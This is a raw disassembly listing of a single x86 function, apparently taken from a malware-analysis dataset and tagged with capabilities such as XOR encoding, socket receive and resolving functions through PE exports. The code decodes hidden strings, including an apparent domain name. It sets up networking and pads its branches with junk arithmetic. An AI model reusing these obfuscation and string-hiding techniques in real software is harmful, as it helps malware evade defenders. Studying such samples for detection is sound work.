Function at 0x1004c4b0
Capabilities:
Encode data using xor
Receive data
Receive data on socket
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x150
mov esi, esp
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x13c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x140], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x144], eax
mov eax, dword [0x100bf198]
xor eax, ebp
mov dword [esi + 0x148], eax
cmp dword [0x100bfd48], 0
jne 0x1004cb6e
mov al, byte [0x100bd101]
xor al, 0x59
mov byte [0x100bd110], al
mov al, byte [0x100bd102]
xor al, 0xf0
mov byte [0x100bd111], al
mov al, byte [0x100bd103]
xor al, 0x20
mov byte [str.yz3], al
mov al, byte [0x100bd104]
xor al, 0x96
mov byte [0x100bd113], al
mov al, byte [0x100bd105]
xor al, 0x95
mov byte [0x100bd114], al
mov al, byte [0x100bd106]
xor al, 0x21
mov byte [0x100bd115], al
mov al, byte [0x100bd107]
xor al, 0x5a
mov byte [0x100bd117], al
mov al, byte [0x100bd108]
xor al, 0x76
mov byte [0x100bd119], al
mov al, byte [0x100bd109]
xor al, 0x48
mov byte [0x100bd11a], al
mov al, byte [0x100bd10a]
xor al, 0x2f
mov byte [0x100bd11b], al
mov al, byte [0x100bd10b]
xor al, 0xec
mov byte [0x100bd11c], al
mov al, byte [0x100bd10c]
xor al, 0x53
mov byte [0x100bd11d], al
mov al, byte [0x100bd10d]
xor al, 0xff
mov byte [0x100bd11e], al
mov al, byte [0x100bd10e]
xor al, 0x8a
mov byte [0x100bd120], al
mov al, byte [0x100bd10f]
xor al, 0xec
mov byte [0x100bd121], al
mov al, byte [0x100bd17a]
xor al, 0xf6
mov byte [0x100bd185], al
mov al, byte [0x100bd17b]
xor al, 0xcb
mov byte [0x100bd186], al
mov al, byte [0x100bd17c]
xor al, 0xd0
mov byte [0x100bd187], al
mov al, byte [0x100bd17d]
xor al, 0x44
mov byte [0x100bd188], al
mov al, byte [0x100bd17e]
xor al, 0x44
mov byte [0x100bd189], al
mov al, byte [0x100bd17f]
xor al, 0x79
mov byte [0x100bd18a], al
mov al, byte [0x100bd180]
xor al, 0x3b
mov byte [0x100bd18b], al
mov al, byte [str.J_vs5g]
xor al, 0x2e
mov byte [0x100bd18c], al
mov al, byte [0x100bd182]
xor al, 0x67
mov byte [0x100bd18d], al
mov al, byte [0x100bd183]
xor al, 0x1f
mov byte [0x100bd18e], al
mov al, byte [0x100bd184]
xor al, 0x2b
mov byte [0x100bd18f], al
mov al, byte [0x100bd122]
xor al, 0x72
mov byte [0x100bd12f], al
mov al, byte [0x100bd123]
xor al, 0x92
mov byte [0x100bd130], al
mov al, byte [0x100bd124]
xor al, 0xab
mov byte [0x100bd131], al
mov al, byte [0x100bd125]
xor al, 0x6b
mov byte [0x100bd132], al
mov al, byte [0x100bd126]
xor al, 0x42
mov byte [0x100bd133], al
mov al, byte [0x100bd127]
xor al, 4
mov byte [0x100bd134], al
mov al, byte [0x100bd128]
xor al, 0x95
mov byte [0x100bd135], al
mov al, byte [0x100bd129]
xor al, 0x3c
mov byte [0x100bd136], al
mov al, byte [0x100bd12a]
xor al, 0x81
mov byte [0x100bd137], al
mov al, byte [0x100bd12b]
xor al, 0x98
mov byte [0x100bd138], al
mov al, byte [0x100bd12c]
xor al, 0xc4
mov byte [0x100bd139], al
mov al, byte [0x100bd12d]
xor al, 0xbf
mov byte [0x100bd13a], al
mov al, byte [0x100bd12e]
xor al, 0x5e
mov byte [0x100bd13b], al
mov al, byte [0x100bd13c]
xor al, 0x6d
mov byte [0x100bd146], al
mov al, byte [0x100bd13d]
xor al, 0x1e
mov byte [0x100bd147], al
mov al, byte [0x100bd13e]
xor al, 0x9b
mov byte [0x100bd148], al
mov al, byte [0x100bd13f]
xor al, 0xc9
mov byte [0x100bd149], al
mov al, byte [0x100bd140]
xor al, 0xc8
mov byte [0x100bd14a], al
mov al, byte [0x100bd141]
xor al, 0x94
mov byte [0x100bd14b], al
mov al, byte [0x100bd142]
xor al, 0xbb
mov byte [0x100bd14c], al
mov al, byte [0x100bd143]
xor al, 0x9a
mov byte [0x100bd14d], al
mov al, byte [0x100bd144]
xor al, 0x2d
mov byte [0x100bd14e], al
mov al, byte [0x100bd145]
xor al, 0x93
mov byte [0x100bd14f], al
mov al, byte [0x100bd150]
xor al, 0x5d
mov byte [0x100bd15b], al
mov al, byte [0x100bd151]
xor al, 0x11
mov byte [0x100bd15c], al
mov al, byte [0x100bd152]
xor al, 0xda
mov byte [0x100bd15d], al
mov al, byte [0x100bd153]
xor al, 0x44
mov byte [str._f_e], al
mov al, byte [0x100bd154]
xor al, 0x7f
mov byte [0x100bd15f], al
mov al, byte [0x100bd155]
xor al, 0x64
mov byte [0x100bd160], al
mov al, byte [0x100bd156]
xor al, 0xf5
mov byte [0x100bd161], al
mov al, byte [0x100bd157]
xor al, 0x47
mov byte [0x100bd162], al
mov al, byte [0x100bd158]
xor al, 0xee
mov byte [0x100bd163], al
mov al, byte [0x100bd159]
xor al, 0xde
mov byte [0x100bd164], al
mov al, byte [0x100bd15a]
xor al, 0x33
mov byte [0x100bd165], al
mov al, byte [0x100bd166]
xor al, 0x7c
mov byte [0x100bd170], al
mov al, byte [0x100bd167]
xor al, 0xdd
mov byte [0x100bd171], al
mov al, byte [0x100bd168]
xor al, 0xbb
mov byte [0x100bd172], al
mov al, byte [0x100bd169]
xor al, 0xe2
mov byte [0x100bd173], al
mov al, byte [0x100bd16a]
xor al, 0xe5
mov byte [0x100bd174], al
mov al, byte [0x100bd16b]
xor al, 0x6c
mov byte [0x100bd175], al
mov al, byte [0x100bd16c]
xor al, 0xfe
mov byte [0x100bd176], al
mov al, byte [0x100bd16d]
xor al, 0x56
mov byte [0x100bd177], al
mov al, byte [0x100bd16e]
xor al, 0x1d
mov byte [0x100bd178], al
mov al, byte [0x100bd16f]
xor al, 0x69
mov byte [0x100bd179], al
mov al, byte [0x100bd1df]
xor al, 0x66
mov byte [0x100bd1ea], al
mov al, byte [0x100bd1e0]
xor al, 0x35
mov byte [0x100bd1eb], al
mov al, byte [0x100bd1e1]
xor al, 0x8c
mov byte [0x100bd1ed], al
mov al, byte [0x100bd1e2]
xor al, 0x34
mov byte [0x100bd1ee], al
mov al, byte [0x100bd1e3]
xor al, 0x8b
mov byte [0x100bd1ef], al
mov al, byte [0x100bd1e4]
xor al, 0x96
mov byte [0x100bd1f0], al
mov al, byte [0x100bd1e5]
xor al, 0x43
mov byte [0x100bd1f1], al
mov al, byte [0x100bd1e6]
xor al, 0x54
mov byte [0x100bd1f2], al
mov al, byte [0x100bd1e7]
xor al, 0x7a
mov byte [0x100bd1f3], al
mov al, byte [0x100bd1e8]
xor al, 0xa5
mov byte [0x100bd1f4], al
mov al, byte [0x100bd1e9]
xor al, 0x99
mov byte [0x100bd1f5], al
mov al, byte [0x100bd1c8]
xor al, 0xf
mov byte [0x100bd1cc], al
mov al, byte [0x100bd1c9]
xor al, 0xe8
mov byte [0x100bd1cd], al
mov al, byte [0x100bd1ca]
xor al, 0xc0
mov byte [0x100bd1ce], al
mov al, byte [str._v6]
xor al, 0x6f
mov byte [0x100bd1cf], al
mov al, byte [0x100bd1a6]
xor al, 0xbb
mov byte [0x100bd1ab], al
mov al, byte [0x100bd1a7]
xor al, 0x45
mov byte [0x100bd1ac], al
mov al, byte [0x100bd1a8]
xor al, 0xb3
mov byte [0x100bd1ae], al
mov al, byte [0x100bd1a9]
xor al, 0x19
mov byte [0x100bd1af], al
mov al, byte [0x100bd1f6]
xor al, 0x4f
mov byte [0x100bd1fd], al
mov al, byte [0x100bd1f7]
xor al, 0xa2
mov byte [0x100bd1fe], al
mov al, byte [0x100bd1f8]
xor al, 0x28
mov byte [0x100bd200], al
mov al, byte [0x100bd1f9]
xor al, 0xff
mov byte [0x100bd201], al
mov al, byte [0x100bd1fa]
xor al, 0xb5
mov byte [0x100bd202], al
mov al, byte [0x100bd1fb]
xor al, 0xae
mov byte [0x100bd203], al
mov al, byte [0x100bd1fc]
xor al, 0xde
mov byte [0x100bd204], al
mov al, byte [0x100bd21b]
xor al, 0xf9
mov byte [0x100bd21f], al
mov al, byte [0x100bd21c]
xor al, 0x1b
mov byte [0x100bd220], al
mov al, byte [0x100bd21d]
xor al, 0x2e
mov byte [0x100bd221], al
mov al, byte [0x100bd21e]
xor al, 0xb6
mov byte [0x100bd222], al
mov al, byte [0x100bd190]
xor al, 0x42
mov byte [0x100bd19a], al
mov al, byte [0x100bd191]
xor al, 0xf0
mov byte [0x100bd19b], al
mov al, byte [0x100bd192]
xor al, 0xdf
mov byte [0x100bd19c], al
mov al, byte [0x100bd193]
xor al, 0x10
mov byte [0x100bd19d], al
mov al, byte [0x100bd194]
xor al, 0x2f
mov byte [0x100bd19e], al
mov al, byte [0x100bd195]
xor al, 0xd1
mov byte [0x100bd19f], al
mov al, byte [0x100bd196]
xor al, 0xc1
mov byte [0x100bd1a0], al
mov al, byte [0x100bd197]
xor al, 0xf8
mov byte [0x100bd1a2], al
mov al, byte [0x100bd198]
xor al, 0x92
mov byte [0x100bd1a3], al
mov al, byte [0x100bd199]
xor al, 0xef
mov byte [0x100bd1a5], al
mov al, byte [0x100bd1ba]
xor al, 0xa5
mov byte [0x100bd1c0], al
mov al, byte [0x100bd1bb]
xor al, 0x54
mov byte [0x100bd1c1], al
mov al, byte [0x100bd1bc]
xor al, 0xad
mov byte [0x100bd1c2], al
mov al, byte [0x100bd1bd]
xor al, 0x61
mov byte [0x100bd1c4], al
mov al, byte [0x100bd1be]
xor al, 0xb6
mov byte [0x100bd1c5], al
mov al, byte [0x100bd1bf]
xor al, 0x13
mov byte [0x100bd1c6], al
mov al, byte [0x100bd205]
xor al, 5
mov byte [0x100bd20f], al
mov al, byte [0x100bd206]
xor al, 0xf4
mov byte [0x100bd210], al
mov al, byte [0x100bd207]
xor al, 0x41
mov byte [0x100bd212], al
mov al, byte [0x100bd208]
xor al, 0x2a
mov byte [0x100bd213], al
mov al, byte [0x100bd209]
xor al, 0x23
mov byte [0x100bd214], al
mov al, byte [0x100bd20a]
xor al, 0xea
mov byte [0x100bd216], al
mov al, byte [0x100bd20b]
xor al, 0x99
mov byte [0x100bd217], al
mov al, byte [0x100bd20c]
xor al, 0x6f
mov byte [0x100bd218], al
mov al, byte [0x100bd20d]
xor al, 0x3e
mov byte [0x100bd219], al
mov al, byte [0x100bd20e]
xor al, 0x88
mov byte [0x100bd21a], al
mov al, byte [0x100bd1b0]
xor al, 0x6f
mov byte [0x100bd1b5], al
mov al, byte [0x100bd1b1]
xor al, 0x29
mov byte [0x100bd1b6], al
mov al, byte [0x100bd1b2]
xor al, 0x55
mov byte [0x100bd1b7], al
mov al, byte [0x100bd1b3]
xor al, 0xd9
mov byte [0x100bd1b8], al
mov al, byte [0x100bd1b4]
xor al, 0x54
mov byte [0x100bd1b9], al
mov al, byte [0x100bd1d1]
xor al, 0x38
mov byte [0x100bd1d8], al
mov al, byte [0x100bd1d2]
xor al, 0x54
mov byte [0x100bd1d9], al
mov al, byte [0x100bd1d3]
xor al, 0xe6
mov byte [0x100bd1da], al
mov al, byte [0x100bd1d4]
xor al, 0x25
mov byte [0x100bd1db], al
mov al, byte [0x100bd1d5]
xor al, 0x56
mov byte [0x100bd1dc], al
mov al, byte [0x100bd1d6]
xor al, 0xbc
mov byte [0x100bd1dd], al
mov al, byte [0x100bd1d7]
xor al, 0x75
mov byte [0x100bd1de], al
mov dword [0x100bfd48], 1
push eax
mov eax, esp
mov dword [esi + 0x40], eax
push eax
mov ecx, esp
mov eax, ecx
mov dword [esi + 0x44], eax
push eax
mov eax, esp
mov dword [esi + 0x110], eax
mov dword [esi + 0x48], eax
push eax
mov ebx, esp
mov eax, ebx
mov dword [esi + 0x4c], eax
sub esp, 0x10
mov edi, esp
mov eax, edi
mov dword [esi + 0x11c], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x128], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 0x114], eax
mov dword [esi + 0x50], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x118], eax
mov dword [esi + 0x54], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x120], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x12c], eax
push eax
mov eax, esp
mov dword [esi + 0x130], eax
push eax
mov eax, esp
mov dword [esi + 0x134], eax
push eax
mov eax, esp
mov dword [esi + 0x138], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x64], eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
push eax
mov eax, esp
mov dword [esi + 0x70], eax
push eax
mov eax, esp
mov dword [esi + 0x74], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x78], eax
push eax
mov eax, esp
mov dword [esi + 0x7c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
sub esp, 0x190
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov eax, esp
mov dword [esi + 0x88], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x8c], eax
sub esp, 0x20
mov eax, esp
mov dword [esi + 0x90], eax
push eax
mov eax, esp
mov dword [esi + 0x94], eax
push eax
mov eax, esp
mov dword [esi + 0x98], eax
push eax
mov eax, esp
mov dword [esi + 0x9c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa4], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa8], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xac], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov eax, esp
mov dword [esi + 0xb8], eax
push eax
mov eax, esp
mov dword [esi + 0xbc], eax
push eax
mov eax, esp
mov dword [esi + 0xc0], eax
push eax
mov eax, esp
mov dword [esi + 0xc4], eax
push eax
mov eax, esp
mov dword [esi + 0xc8], eax
push eax
mov eax, esp
mov dword [esi + 0xcc], eax
push eax
mov eax, esp
mov dword [esi + 0xd0], eax
push eax
mov eax, esp
mov dword [esi + 0xd4], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xd8], eax
push eax
mov eax, esp
mov dword [esi + 0xdc], eax
push eax
mov eax, esp
mov dword [esi + 0xe0], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xe4], eax
push eax
mov eax, esp
mov dword [esi + 0xe8], eax
push eax
sub esp, 0xffc
mov eax, esp
mov dword [esi + 0xec], eax
push eax
mov eax, esp
mov dword [esi + 0xf0], eax
push eax
mov eax, esp
mov dword [esi + 0xf4], eax
push eax
mov eax, esp
mov dword [esi + 0xf8], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xfc], eax
push eax
mov eax, esp
mov dword [esi + 0x100], eax
push eax
mov eax, esp
mov dword [esi + 0x104], eax
push eax
mov eax, esp
mov dword [esi + 0x108], eax
push eax
mov eax, esp
mov dword [esi + 0x10c], eax
mov eax, dword [esi + 0x13c]
mov dword [ecx], eax
mov eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x140]
mov dword [eax], ecx
mov ecx, dword [esi + 0x114]
mov eax, dword [esi + 0x144]
mov dword [ebx], eax
mov eax, dword [esi + 0x118]
movsd xmm0, qword [0x100bd134]
movsd qword [edi + 5], xmm0
movsd xmm0, qword [0x100bd12f]
movsd qword [edi], xmm0
mov edi, dword [0x100bd18c]
mov dword [edx + 7], edi
movsd xmm0, qword [0x100bd185]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x100b20e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x100b20d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
mov cx, word [0x100bd120]
mov word [eax + 0x10], cx
movaps xmm0, xmmword [0x100bd110]
movups xmmword [eax], xmm0
call fcn.10045fb0
mov ecx, dword [esi + 0x11c]
mov edi, eax
mov eax, dword [esi + 0x120]
mov dword [esi + 0x124], edi
mov edi, edx
mov edx, dword [esi + 0x124]
mov dword [eax + 4], edi
mov dword [eax], edx
mov edx, dword [eax]
mov edi, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003d7c0
mov ecx, dword [esi + 0x128]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x12c]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x130]
mov ecx, dword [esi + 0x134]
mov edi, eax
mov eax, dword [esi + 0x138]
mov dword [edx], edi
mov dword [ecx], 0
mov dword [eax], ecx
mov eax, dword [eax]
cmp dword [eax], 0
jne 0x1004d821
mov edx, dword [esi + 0x64]
mov edi, dword [esi + 0x60]
mov ebx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x58]
mov eax, dword [0x100bd162]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100bd15b]
movsd qword [ecx], xmm0
mov eax, dword [0x100bd1a2]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x130]
movsd xmm0, qword [0x100bd19a]
movsd qword [ebx], xmm0
mov bx, word [0x100bd178]
mov word [edi + 8], bx
movsd xmm0, qword [0x100bd170]
movsd qword [edi], xmm0
mov di, word [0x100bd14e]
mov word [edx + 8], di
movsd xmm0, qword [0x100bd146]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x5c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x130]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov edx, dword [esi + 0x6c]
mov ecx, dword [esi + 0x60]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x130]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov edx, dword [esi + 0x70]
mov ecx, dword [esi + 0x64]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x130]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003d7c0
mov ecx, dword [esi + 0x74]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x78]
mov dword [ecx], edx
mov ecx, dword [0x100bd1fd]
mov dword [eax], ecx
mov ecx, dword [0x100bd201]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.10045fd0
add esp, 4
cmp eax, 0
je 0x1004d042
mov ecx, dword [esi + 0x50]
mov edi, dword [esi + 0x7c]
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10087e20
mov edx, dword [esi + 0x50]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x80]
add ecx, 1
sub ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10087eb0
add esp, 0xc
mov eax, dword [0x100be904]
and eax, dword [0x100be908]
xor eax, 0x90dac0c6
sub eax, 0x8b9d612b
imul eax, eax, 0x26331bcd
imul eax, eax, 0x4f36d55d
add eax, 0xcd69fda
imul eax, eax, 0x391a170c
sub eax, 0x37ddf0fc
mov ecx, 0xc3cad5ab
xor edx, edx
div ecx
add eax, 0x668eb775
imul eax, eax, 0x3f2979db
mov ecx, 0x6cb63dc
xor edx, edx
div ecx
sub eax, 0x1b8057de
add eax, 0x9b01bce7
imul eax, eax, 0x3281e7c0
imul eax, eax, 0x771edd3b
xor eax, 0x3c35b21b
sub eax, 0x33b36bf8
mov ecx, 0xb66cbe9
xor edx, edx
div ecx
imul eax, eax, 0xaa0590b3
or eax, 0x4d5615dd
and eax, 0xc92effad
or eax, 0x8f8bffb
and eax, 0x32441862
add eax, 0x5234c7d7
sub eax, 0xa8bbafa7
imul eax, eax, 0x1f12210b
imul eax, eax, 0xaa0fca9f
xor eax, 0x15cc51a0
xor eax, 0xa0b7c6b
sub eax, 0x6bda0434
or eax, 0x9c288542
sub eax, 0x55e46611
imul eax, eax, 0xed20a2ea
xor eax, 0x65029b7
add eax, 0x7340f86b
add eax, 0x3f2018a2
add eax, 0xfe5db749
xor eax, 0xbf32cb52
add eax, 0x822c4edf
or eax, 0xe8c0b1c2
add eax, 0x7d4cac8c
and eax, 0xa5f2af39
sub eax, 0xe9f64562
sub eax, 0x49233996
imul eax, eax, 0x33ef6c1d
or eax, 0xa6ed7869
mov ecx, 0x610dbb3b
xor edx, edx
div ecx
or eax, 0x7711db85
and eax, 0x8cfb369d
imul eax, eax, 0x23bf0624
add eax, 0xf60d6c32
or eax, 0xe21ab9d7
xor eax, 0xcabddddc
or eax, 0xd5d4ad9
and eax, 0x2b3907b6
and eax, 0xa7c08d1a
xor eax, 0xc1180f1
xor eax, 0x49420774
or eax, 0x860e7a4a
add eax, 0xeeb4e9c2
and eax, 0x1121bf46
sub eax, 0xc5a732f0
and eax, 0xf71f8d5a
xor eax, 0xe2ae47f0
or eax, 0x9907250a
mov ecx, 0x5dd47eb
xor edx, edx
div ecx
xor eax, 0xc68ef29b
or eax, 0x8473abf5
imul eax, eax, 0xddcd252e
or eax, 0xf363948e
mov ecx, 0x9477cb92
xor edx, edx
div ecx
sub eax, 0xf58c6687
cmp eax, 0x133b6cb
jbe 0x10050c61
mov ecx, dword [esi + 0x84]
mov eax, dword [0x100be90c]
add eax, dword [0x100be910]
mov edi, 0x8b69df81
xor edx, edx
div edi
mov edi, 0x73315d50
xor edx, edx
div edi
add eax, 0x54205301
imul eax, eax, 0xe2ebdfd3
mov edi, 0xa3d05e6d
xor edx, edx
div edi
imul eax, eax, 0xf809d009
imul eax, eax, 0xf69e6067
and eax, 0x471588d1
mov edi, 0x1e7c83db
xor edx, edx
div edi
add eax, 0x48eb475b
sub eax, 0x37c80b6b
add eax, 0xe976573
imul eax, eax, 0x3b80cf72
sub eax, 0xf89edb1c
xor eax, 0xe76353d8
mov edi, 0xebb5bd0f
xor edx, edx
div edi
xor eax, 0x5fa1eecd
or eax, 0xff93c756
add eax, 0x981eb49d
xor eax, 0xa0c27009
or eax, 0x251e0671
or eax, 0x91c3567b
or eax, 0xc5abcef7
and eax, 0x3d262994
or eax, 0xe629c2f6
and eax, 0x9030eb45
add eax, 0x45af372
sub eax, 0x3fda00a7
xor eax, 0xb6a684cd
xor eax, 0xc56d9219
add eax, 0x3c8fcf2d
imul eax, eax, 0xbdee07b3
mov edi, 0xcb4af509
xor edx, edx
div edi
mov edi, 0xa58fa212
xor edx, edx
div edi
and eax, 0x979953fa
mov edi, 0x4de08559
xor edx, edx
div edi
mov edi, 0x11cbcff1
xor edx, edx
div edi
add eax, 0x4eb7fd9c
or eax, 0xddbed923
xor eax, 0x3181977a
imul eax, eax, 0xa802aa91
add eax, 0x7c57cede
or eax, 0x79c84870
sub eax, 0x36fdf802
sub eax, 0x21895fa9
sub eax, 0x331325a6
sub eax, 0x777bb264
imul eax, eax, 0xf3b8af0c
imul eax, eax, 0xa2883e1c
imul eax, eax, 0x98496762
add eax, 0xe47c8997
add eax, 0x1d221457
xor eax, 0xf062cb23
sub eax, 0xbcca9903
add eax, 0x8a175737
xor eax, 0x90cf95a6
sub eax, 0x92c53fe7
or eax, 0xb42d1b3f
mov edi, 0x7a372615
xor edx, edx
div edi
mov edi, 0x773e88e7
xor edx, edx
div edi
imul eax, eax, 0xcb757bd9
or eax, 0xc341c9c4
sub eax, 0xbe43169e
sub eax, 0xbcce9bc7
sub eax, 0x9d0a49b0
xor eax, 0x1b0ad58
or eax, 0xdd871249
mov edi, 0x62848962
xor edx, edx
div edi
or eax, 0xb356348a
imul eax, eax, 0xbf906dfc
mov edi, 0xadaf9e56
xor edx, edx
div edi
mov edi, 0x5cb81ac8
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0x68]
mov dword [esi + 0x3c], edx
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x88]
mov eax, dword [esi + 0x90]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1006a950
mov ecx, dword [esi + 0x90]
mov eax, dword [esi + 0x3c]
add esp, 0xc
mov dword [ecx + 4], 2
mov dword [ecx + 8], 1
cmp eax, 0x5889754d
ja 0x10050c61
jmp 0x1004d412
mov eax, dword [esi + 0x88]
cmp dword [eax], 0
je 0x1004d45e
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0x90]
mov edi, dword [esi + 0x50]
mov eax, dword [esi + 0x6c]
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, eax
mov eax, dword [esi + 0x88]
mov dword [eax], ecx
jmp 0x1004d412
mov eax, dword [0x100be914]
xor eax, dword [0x100be918]
add eax, 0x8c33b725
add eax, 0x764c0976
add eax, 0xfb65ea52
xor eax, 0x5e3ec90a
xor eax, 0xef5a5998
xor eax, 0x7cb9121
mov ecx, 0xb1b40838
xor edx, edx
div ecx
mov ecx, 0x4cb0b1
xor edx, edx
div ecx
or eax, 0x80cf7529
imul eax, eax, 0x3981e5a4
or eax, 0x2f2febba
imul eax, eax, 0x11f6059a
sub eax, 0x200c19d4
add eax, 0x8235c51
and eax, 0xbb068580
add eax, 0xc0af13ef
and eax, 0x3dbc3db7
sub eax, 0x2c8355b4
mov ecx, 0x486769a8
xor edx, edx
div ecx
and eax, 0x6de78dfc
imul eax, eax, 0x86358eb5
sub eax, 0x1fc93581
and eax, 0xa9f26764
mov ecx, 0x86c95be3
xor edx, edx
div ecx
mov ecx, 0xd9025644
xor edx, edx
div ecx
add eax, 0xc06fccb4
mov ecx, 0xf695da28
xor edx, edx
div ecx
and eax, 0xbf746736
xor eax, 0x4bc67596
sub eax, 0x52542995
or eax, 0x36b8b6f
or eax, 0x74aa246c
imul eax, eax, 0xcca47d55
or eax, 0x297b4881
imul eax, eax, 0xa4283d05
add eax, 0x30df1432
and eax, 0x3a995f9c
or eax, 0xaa3ae777
sub eax, 0x3ade7a55
xor eax, 0x47f8458a
sub eax, 0xc1b43ad2
sub eax, 0xee856b00
sub eax, 0x7eb0506
sub eax, 0x5baae190
imul eax, eax, 0x11dffdae
add eax, 0xa3a5c56b
xor eax, 0x74694ed0
or eax, 0xfc9a5778
imul eax, eax, 0xb19f1499
xor eax, 0xd839cd97
or eax, 0x128f8280
sub eax, 0x5fc0061
imul eax, eax, 0x3780f597
mov ecx, 0x4eca6d59
xor edx, edx
div ecx
sub eax, 0xddd8457a
or eax, 0x73f36cba
and eax, 0xaf1a1f7a
sub eax, 0x8ec9e48d
or eax, 0xf1902fdf
add eax, 0x45f536ef
imul eax, eax, 0xe74d7e36
xor eax, 0x79167325
or eax, 0x99197d81
mov ecx, 0xb9b75ec6
xor edx, edx
div ecx
add eax, 0x2f4b1642
sub eax, 0xbf39c427
add eax, 0xbe0daf1b
xor eax, 0x32ff11ae
sub eax, 0xc6d16938
sub eax, 0xf8e88f30
xor eax, 0x7ca3d676
and eax, 0x34596d1f
cmp eax, 0xb344a68e
ja 0x10050cc5
mov ecx, dword [esi + 0x8c]
mov edi, dword [esi + 0x94]
mov eax, dword [0x100be91c]
xor edx, edx
div dword [0x100be920]
mov ebx, 0x6e73f90a
xor edx, edx
div ebx
and eax, 0x6ea5fccd
imul eax, eax, 0xdfee670f
add eax, 0x16555f27
add eax, 0xf4a77a73
add eax, 0x134dd9a6
or eax, 0x66c38f5
or eax, 0xe3d003da
or eax, 0x2d6566e7
xor eax, 0x6f942d23
and eax, 0x6bedbb15
add eax, 0x8620babe
xor eax, 0xb78fafee
xor eax, 0xd7c942f2
and eax, 0x207d9be7
and eax, 0x22b3821b
mov ebx, 0xc373c337
xor edx, edx
div ebx
mov ebx, 0x7e6fd3e8
xor edx, edx
div ebx
and eax, 0x18f11d91
imul eax, eax, 0x7233fa43
xor eax, 0xb0e69b2c
mov ebx, 0xd2ff2125
xor edx, edx
div ebx
add eax, 0xa4ffede2
sub eax, 0xb3764328
and eax, 0xcc908d7d
xor eax, 0xfcd68a2f
sub eax, 0x9365aa29
and eax, 0x8419e7b4
imul eax, eax, 0x2db44896
add eax, 0x68cc9c50
imul eax, eax, 0xd2399504
sub eax, 0xa98318ba
and eax, 0xe3d906cb
and eax, 0xe4012d2f
or eax, 0xae6a49be
imul eax, eax, 0x6d41c0a
xor eax, 0xd606abc4
and eax, 0x3851c4a
imul eax, eax, 0xd6b6828d
and eax, 0x25d8d713
mov ebx, 0xc1564a97
xor edx, edx
div ebx
